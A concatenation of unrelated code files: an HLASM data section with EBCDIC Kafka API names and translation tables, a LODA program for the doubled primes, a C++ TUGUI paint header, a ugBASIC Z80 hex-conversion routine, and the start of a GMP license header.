DC X'9697D985979389838100E4978481A385' opReplica.Update
DC X'D485A3818481A3810000C39695A39996' Metadata..Contro
DC X'93938584E288A4A38496A6950000D686' lledShutdown..Of
DC X'86A285A3C396949489A30000D68686A2' fsetCommit..Offs
DC X'85A3C685A3838800C6899584C3969699' etFetch.FindCoor
DC X'84899581A3969900D1968995C79996A4' dinator.JoinGrou
DC X'9700C8858199A3828581A300D38581A5' p.Heartbeat.Leav
DC X'85C79996A4970000E2A89583C79996A4' eGroup..SyncGrou
DC X'9700C485A28399898285C79996A497A2' p.DescribeGroups
DC X'0000D389A2A3C79996A497A20000E281' ..ListGroups..Sa
DC X'A293C8819584A28881928500C19789E5' slHandshake.ApiV
DC X'8599A28996950000C3998581A385E396' ersion..CreateTo
DC X'978983A20000C4859385A385E3969789' pics..DeleteTopi
DC X'83A20000C4859385A385D98583969984' cs..DeleteRecord
DC X'A200C99589A3D7999684A4838599C984' s.InitProducerId
DC X'0000D68686A285A3C69699D385818485' ..OffsetForLeade
DC X'99C5979683880000C18484D78199A389' rEpoch..AddParti
DC X'A3899695A2E396E3A7950000C18484D6' tionsToTxn..AddO
DC X'8686A285A3A2E396E3A79500C59584E3' ffsetsToTxn.EndT
DC X'A7950000E69989A385E3A795D4819992' xn..WriteTxnMark
DC X'8599A200E3A795D68686A285A3C39694' ers.TxnOffsetCom
DC X'9489A300C485A28399898285C18393A2' mit.DescribeAcls
DC X'0000C3998581A385C18393A20000C485' ..CreateAcls..De
DC X'9385A385C18393A20000C485A2839989' leteAcls..Descri
DC X'8285C39695868987A200C193A38599C3' beConfigs.AlterC
DC X'9695868987A20000C193A38599D98597' onfigs..AlterRep
DC X'93898381D39687C48999A200C485A283' licaLogDirs.Desc
DC X'99898285D39687C48999A200E281A293' ribeLogDirs.Sasl
DC X'C1A4A3888595A3898381A3850000C399' Authenticate..Cr
DC X'8581A385D78199A389A3899695A20000' eatePartitions..
DC X'C3998581A385C48593858781A3899695' CreateDelegation
DC X'E39692859500D9859585A6C485938587' Token.RenewDeleg
DC X'81A3899695E3969285950000C5A79789' ationToken..Expi
DC X'9985C48593858781A3899695E3969285' reDelegationToke
DC X'9500C485A28399898285C48593858781' n.DescribeDelega
DC X'A3899695E39692859500C4859385A385' tionToken.Delete
DC X'C79996A497A20000C5938583A3D38581' Groups..ElectLea
DC X'848599A2D98598A485A2A300C9958399' dersRequest.Incr
DC X'85948595A38193C193A38599C3969586' ementalAlterConf
DC X'8987A2D98598A485A2A30000C193A385' igsRequest..Alte
DC X'99D78199A389A3899695D98581A2A289' rPartitionReassi
DC X'8795948595A3A2D98598A485A2A30000' gnmentsRequest..
DC X'D389A2A3D78199A389A3899695D98581' ListPartitionRea
DC X'A2A2898795948595A3A2D98598A485A2' ssignmentsReques
DC X'A300D68686A285A3C4859385A385D985' t.OffsetDeleteRe
DC X'98A485A2A300C485A28399898285C393' quest.DescribeCl
DC X'898595A3D8A496A381A2D98598A485A2' ientQuotasReques
DC X'A300C193A38599C393898595A3D8A496' t.AlterClientQuo
DC X'A381A2D98598A485A2A30000C485A283' tasRequest..Desc
DC X'99898285E4A28599E283998194C39985' ribeUserScramCre
DC X'848595A3898193A2D98598A485A2A300' dentialsRequest.
DC X'C193A38599E4A28599E283998194C399' AlterUserScramCr
DC X'85848595A3898193A2D98598A485A2A3' edentialsRequest
DC X'0000E596A385D98598A485A2A300C285' ..VoteRequest.Be
DC X'878995D8A49699A494C597968388D985' ginQuorumEpochRe
DC X'98A485A2A300C59584D8A49699A494C5' quest.EndQuorumE
DC X'97968388D98598A485A2A300C485A283' pochRequest.Desc
DC X'99898285D8A49699A494D98598A485A2' ribeQuorumReques
DC X'A300C193A38599C9A299D98598A485A2' t.AlterIsrReques
DC X'A300E4978481A385C68581A3A49985A2' t.UpdateFeatures
DC X'D98598A485A2A300C595A58593969785' Request.Envelope
DC X'D98598A485A2A30095969585000087A9' Request.none..gz
DC X'89970000A295819797A8000093A9F400' ip..snappy..lz4.
DC X'A9A2A3840000899588859989A3008396' zstd..inherit.co
DC X'95868987A49985840000938581999585' nfigured..learne
DC X'84008995A38599958193000093968789' d.internal..logi
DC X'83819300C99589A30000E38599948995' cal.Init..Termin
DC X'81A38500C681A38193C5999996990000' ate.FatalError..
DC X'D98598A485A2A3D7C9C40000E68189A3' RequestPID..Wait
DC X'E3998195A2979699A300E68189A3D7C9' Transport.WaitPI
DC X'C400C1A2A289879585840000C4998189' D.Assigned..Drai
DC X'95D985A285A30000C499818995C2A494' nReset..DrainBum
DC X'9700D9858184A8D596A3C18392858400' p.ReadyNotAcked.
DC X'D9858184A800C995E3998195A28183A3' Ready.InTransact
DC X'89969500C285878995C396949489A300' ion.BeginCommit.
DC X'C396949489A3A3899587E3998195A281' CommittingTransa
DC X'83A389969500C396949489A3D596A3C1' ction.CommitNotA
DC X'839285840000C1829699A3899587E399' cked..AbortingTr
DC X'8195A28183A389969500C1829699A385' ansaction.Aborte
DC X'84D596A3C18392858400C1829699A381' dNotAcked.Aborta
DC X'829385C5999996990000' bleError..
*
*
* Re-entrant Data Initialization Section
*
@@INIT@ ALIAS C'rdkafka_plugin:'
@@INIT@ CSECT
@@INIT@ AMODE ANY
@@INIT@ RMODE ANY
DC XL1'5'
DC AL3(0)
DC AL4(288)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000001'
DC X'00000000'
DC X'000000FF'
DC X'0102039C09867F978D8E0B0C0D0E0F10' .....f.p........
DC X'1112139D8508871819928F1C1D1E1F80' ....e.g..k......
DC X'818283840A171B88898A8B8C05060790' abcd...hi.......
DC X'9116939495960498999A9B14159E1A20' j.lmno.qr.......
DC X'A0E2E4E0E1E3E5E7F1A22E3C282B7C26' .SU..TVX1s......
DC X'E9EAEBE8EDEEEFECDF21242A293B5E2D' Z..Y............
DC X'2FC2C4C0C1C3C5C7D1A62C255F3E3FF8' .BD.ACEGJw.....8
DC X'C9CACBC8CDCECFCC603A2340273D22D8' I..H...........Q
DC X'616263646566676869ABBBF0FDFEB1B0' ...........0....
DC X'6A6B6C6D6E6F707172AABAE6B8C6A4B5' ...........W.Fu.
DC X'7E737475767778797AA1BFD05BDEAEAC' ................
DC X'A3A5B7A9A7B6BCBDBEDDA8AF5DB4D77B' tv.zx.....y...P.
DC X'414243444546474849ADF4F6F2F3F57D' ..........46235.
DC X'4A4B4C4D4E4F505152B9FBFCF9FAFF5C' ............9...
DC X'F7535455565758595AB2D4D6D2D3D530' 7.........MOKLN.
DC X'313233343536373839B3DBDCD9DA9F40' ............R...
*
DC XL1'5'
DC AL3(0)
DC AL4(480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000101'
DC X'00000000'
DC X'000000A0'
DC X'010203372D2E2F1605150B0C0D0E0F10' ................
DC X'1112133C3D322618193F271C1D1E1F40' ................
DC X'5A7F7B5B6C507D4D5D5C4E6B604B61F0' ...............0
DC X'F1F2F3F4F5F6F7F8F97A5E4C7E6E6F7C' 123456789.......
DC X'C1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7' ABCDEFGHIJKLMNOP
DC X'D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D79' QRSTUVWXYZ......
DC X'81828384858687888991929394959697' abcdefghijklmnop
DC X'9899A2A3A4A5A6A7A8A9C04FD0A10720' qrstuvwxyz......
DC X'2122232425061728292A2B2C090A1B30' ................
DC X'311A333435360838393A3B04143EFF80' ................
*
DC XL1'5'
DC AL3(0)
DC AL4(520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000001C0'
DC X'00000000'
DC X'00000001'
DC X'8A40404040404040' ........
*
DC XL1'5'
DC AL3(0)
DC AL4(560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000001E0'
DC X'00000000'
DC X'00000001'
DC X'8B40404040404040' ........
*
DC XL1'D'
DC AL3(0)
DC AL4(600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000220'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000300'
*
DC XL1'D'
DC AL3(0)
DC AL4(640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000228'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000308'
*
DC XL1'D'
DC AL3(0)
DC AL4(680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000230'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000030E'
*
DC XL1'D'
DC AL3(0)
DC AL4(720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000238'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000316'
*
DC XL1'D'
DC AL3(0)
DC AL4(760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000240'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000320'
*
DC XL1'D'
DC AL3(0)
DC AL4(800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000248'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000032E'
*
DC XL1'D'
DC AL3(0)
DC AL4(840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000250'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000033A'
*
DC XL1'D'
DC AL3(0)
DC AL4(880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000258'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000034A'
*
DC XL1'D'
DC AL3(0)
DC AL4(920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000260'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000035E'
*
DC XL1'D'
DC AL3(0)
DC AL4(960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000268'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000036C'
*
DC XL1'D'
DC AL3(0)
DC AL4(1000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000270'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000378'
*
DC XL1'D'
DC AL3(0)
DC AL4(1040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000278'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000388'
*
DC XL1'D'
DC AL3(0)
DC AL4(1080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000280'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000392'
*
DC XL1'D'
DC AL3(0)
DC AL4(1120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000288'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000039C'
*
DC XL1'D'
DC AL3(0)
DC AL4(1160)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000290'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003A8'
*
DC XL1'D'
DC AL3(0)
DC AL4(1200)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000298'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003B2'
*
DC XL1'D'
DC AL3(0)
DC AL4(1240)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002A0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003C2'
*
DC XL1'D'
DC AL3(0)
DC AL4(1280)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002A8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003CE'
*
DC XL1'D'
DC AL3(0)
DC AL4(1320)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002B0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003DC'
*
DC XL1'D'
DC AL3(0)
DC AL4(1360)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002B8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003E8'
*
DC XL1'D'
DC AL3(0)
DC AL4(1400)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003F6'
*
DC XL1'D'
DC AL3(0)
DC AL4(1440)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000404'
*
DC XL1'D'
DC AL3(0)
DC AL4(1480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000412'
*
DC XL1'D'
DC AL3(0)
DC AL4(1520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002D8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000422'
*
DC XL1'D'
DC AL3(0)
DC AL4(1560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002E0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000438'
*
DC XL1'D'
DC AL3(0)
DC AL4(1600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002E8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000044C'
*
DC XL1'D'
DC AL3(0)
DC AL4(1640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002F0'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000045C'
*
DC XL1'D'
DC AL3(0)
DC AL4(1680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002F8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000464'
*
DC XL1'D'
DC AL3(0)
DC AL4(1720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000300'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000474'
*
DC XL1'D'
DC AL3(0)
DC AL4(1760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000308'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000484'
*
DC XL1'D'
DC AL3(0)
DC AL4(1800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000310'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000492'
*
DC XL1'D'
DC AL3(0)
DC AL4(1840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000318'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000049E'
*
DC XL1'D'
DC AL3(0)
DC AL4(1880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000320'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004AA'
*
DC XL1'D'
DC AL3(0)
DC AL4(1920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000328'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004BA'
*
DC XL1'D'
DC AL3(0)
DC AL4(1960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000330'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004C8'
*
DC XL1'D'
DC AL3(0)
DC AL4(2000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000338'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004DC'
*
DC XL1'D'
DC AL3(0)
DC AL4(2040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000340'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004EC'
*
DC XL1'D'
DC AL3(0)
DC AL4(2080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000348'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004FE'
*
DC XL1'D'
DC AL3(0)
DC AL4(2120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000350'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000510'
*
DC XL1'D'
DC AL3(0)
DC AL4(2160)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000358'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000526'
*
DC XL1'D'
DC AL3(0)
DC AL4(2200)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000360'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000053C'
*
DC XL1'D'
DC AL3(0)
DC AL4(2240)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000368'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000552'
*
DC XL1'D'
DC AL3(0)
DC AL4(2280)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000370'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000056A'
*
DC XL1'D'
DC AL3(0)
DC AL4(2320)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000378'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000578'
*
DC XL1'D'
DC AL3(0)
DC AL4(2360)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000380'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000058C'
*
DC XL1'D'
DC AL3(0)
DC AL4(2400)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000388'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005AC'
*
DC XL1'D'
DC AL3(0)
DC AL4(2440)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000390'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005D0'
*
DC XL1'D'
DC AL3(0)
DC AL4(2480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000398'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005F2'
*
DC XL1'D'
DC AL3(0)
DC AL4(2520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003A0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000606'
*
DC XL1'D'
DC AL3(0)
DC AL4(2560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003A8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000622'
*
DC XL1'D'
DC AL3(0)
DC AL4(2600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003B0'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000063C'
*
DC XL1'D'
DC AL3(0)
DC AL4(2640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003B8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000660'
*
DC XL1'D'
DC AL3(0)
DC AL4(2680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000682'
*
DC XL1'D'
DC AL3(0)
DC AL4(2720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000068E'
*
DC XL1'D'
DC AL3(0)
DC AL4(2760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006A6'
*
DC XL1'D'
DC AL3(0)
DC AL4(2800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003D8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006BC'
*
DC XL1'D'
DC AL3(0)
DC AL4(2840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003E0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006D2'
*
DC XL1'D'
DC AL3(0)
DC AL4(2880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003E8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006E2'
*
DC XL1'D'
DC AL3(0)
DC AL4(2920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003F0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006F8'
*
DC XL1'D'
DC AL3(0)
DC AL4(2960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000708'
*
DC XL1'D'
DC AL3(0)
DC AL4(3000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000070E'
*
DC XL1'D'
DC AL3(0)
DC AL4(3040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000714'
*
DC XL1'D'
DC AL3(0)
DC AL4(3080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004D8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000071C'
*
DC XL1'D'
DC AL3(0)
DC AL4(3120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004E0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000720'
*
DC XL1'D'
DC AL3(0)
DC AL4(3160)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004E8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000726'
*
DC XL1'D'
DC AL3(0)
DC AL4(3200)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000510'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000072E'
*
DC XL1'D'
DC AL3(0)
DC AL4(3240)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000518'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000073A'
*
DC XL1'D'
DC AL3(0)
DC AL4(3280)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000520'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000742'
*
DC XL1'D'
DC AL3(0)
DC AL4(3320)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000528'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000074C'
*
DC XL1'D'
DC AL3(0)
DC AL4(3360)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000630'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000754'
*
DC XL1'D'
DC AL3(0)
DC AL4(3400)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000638'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000075A'
*
DC XL1'D'
DC AL3(0)
DC AL4(3440)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000640'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000764'
*
DC XL1'D'
DC AL3(0)
DC AL4(3480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000648'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000770'
*
DC XL1'D'
DC AL3(0)
DC AL4(3520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000650'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000077C'
*
DC XL1'D'
DC AL3(0)
DC AL4(3560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000658'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000078A'
*
DC XL1'D'
DC AL3(0)
DC AL4(3600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000660'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000792'
*
DC XL1'D'
DC AL3(0)
DC AL4(3640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000668'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000079C'
*
DC XL1'D'
DC AL3(0)
DC AL4(3680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000670'
DC ADL8(@DATA)
DC X'00000000'
DC X'000007A8'
*
DC XL1'D'
DC AL3(0)
DC AL4(3720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000678'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000754'
*
DC XL1'D'
DC AL3(0)
DC AL4(3760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000680'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000078A'
*
DC XL1'D'
DC AL3(0)
DC AL4(3800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000688'
DC ADL8(@DATA)
DC X'00000000'
DC X'000007B2'
*
DC XL1'D'
DC AL3(0)
DC AL4(3840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000690'
DC ADL8(@DATA)
DC X'00000000'
DC X'000007C0'
*
DC XL1'D'
DC AL3(0)
DC AL4(3880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000698'
DC ADL8(@DATA)
DC X'00000000'
DC X'000007C6'
*
DC XL1'D'
DC AL3(0)
DC AL4(3920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006A0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000007D4'
*
DC XL1'D'
DC AL3(0)
DC AL4(3960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006A8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000007E0'
*
DC XL1'D'
DC AL3(0)
DC AL4(4000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006B0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000007F6'
*
DC XL1'D'
DC AL3(0)
DC AL4(4040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006B8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000806'
*
DC XL1'D'
DC AL3(0)
DC AL4(4080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000081A'
*
DC XL1'D'
DC AL3(0)
DC AL4(4120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000082A'
*
DC XL1'D'
DC AL3(0)
DC AL4(0)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000764'
*
EXTRN @@ALLOCA
END
|
; A100484: The primes doubled.
; Submitted by Jamie Morken(s3)
; 4,6,10,14,22,26,34,38,46,58,62,74,82,86,94,106,118,122,134,142,146,158,166,178,194,202,206,214,218,226,254,262,274,278,298,302,314,326,334,346,358,362,382,386,394,398,422,446,454,458,466,478,482,502,514,526,538,542,554,562,566,586,614,622,626,634,662,674,694,698,706,718,734,746,758,766,778,794,802,818,838,842,862,866,878,886,898,914,922,926,934,958,974,982,998,1006,1018,1042,1046,1082
mul $0,2
max $0,1
seq $0,173919 ; Numbers that are prime or one less than a prime.
mul $0,2
|
#ifndef __PAINT_BASE_HPP__TUGUI
#define __PAINT_BASE_HPP__TUGUI
#include <platform/BaseInterface.hpp>
#include <core/painter/impl/colors/color.hpp>
namespace TUGUI {
struct PaintBase {
static void clearScreen() {
INTERFACE::gBaseInterfacePtr->clearScrean();
}
static void drawPixel(uint32_t x, uint32_t y, Color::RGB rgb = WHITE) {
INTERFACE::gBaseInterfacePtr->drawPixel(x, y, rgb.R, rgb.G, rgb.B, 0);
}
static uint32_t getHorizontalResolution() {
return INTERFACE::gBaseInterfacePtr->getHorizontalResolution();
}
static uint32_t getVerticalResolution() {
return INTERFACE::gBaseInterfacePtr->getVerticalResolution();
}
}; // PaintBase
} // TUGUI
#endif // __PAINT_BASE_HPP__TUGUI |
; /*****************************************************************************
; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers *
; *****************************************************************************
; * Copyright 2021 Marco Spedaletti (asimov@mclink.it)
; *
; * Licensed under the Apache License, Version 2.0 (the "License");
; * you may not use this file except in compliance with the License.
; * You may obtain a copy of the License at
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Unless required by applicable law or agreed to in writing, software
; * distributed under the License is distributed on an "AS IS" BASIS,
; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; * See the License for the specific language governing permissions and
; * limitations under the License.
; *----------------------------------------------------------------------------
; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0
; * (la "Licenza"); è proibito usare questo file se non in conformità alla
; * Licenza. Una copia della Licenza è disponibile all'indirizzo:
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Se non richiesto dalla legislazione vigente o concordato per iscritto,
; * il software distribuito nei termini della Licenza è distribuito
; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o
; * implicite. Consultare la Licenza per il testo specifico che regola le
; * autorizzazioni e le limitazioni previste dalla medesima.
; ****************************************************************************/
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
;* *
;* CONVERT A NUMBER TO A HEXADECIMAL NUMBER *
;* *
;* by Marco Spedaletti *
;* *
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
;
; Input: HL = number to convert, DE = location of ASCII string
; Output: ASCII string at (DE)
H2STRING:
LD A, H
CALL H2STRINGN1
LD A, H
CALL H2STRINGN2
LD A, L
CALL H2STRINGN1
LD A, L
JR H2STRINGN2
H2STRINGN1:
RRA
RRA
RRA
RRA
H2STRINGN2:
OR #$F0
DAA
ADD A, #$A0
ADC A, #$40
LD (DE),a
INC DE
RET
|
dnl ARM mpn_com.
dnl Copyright 2003, 2012 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
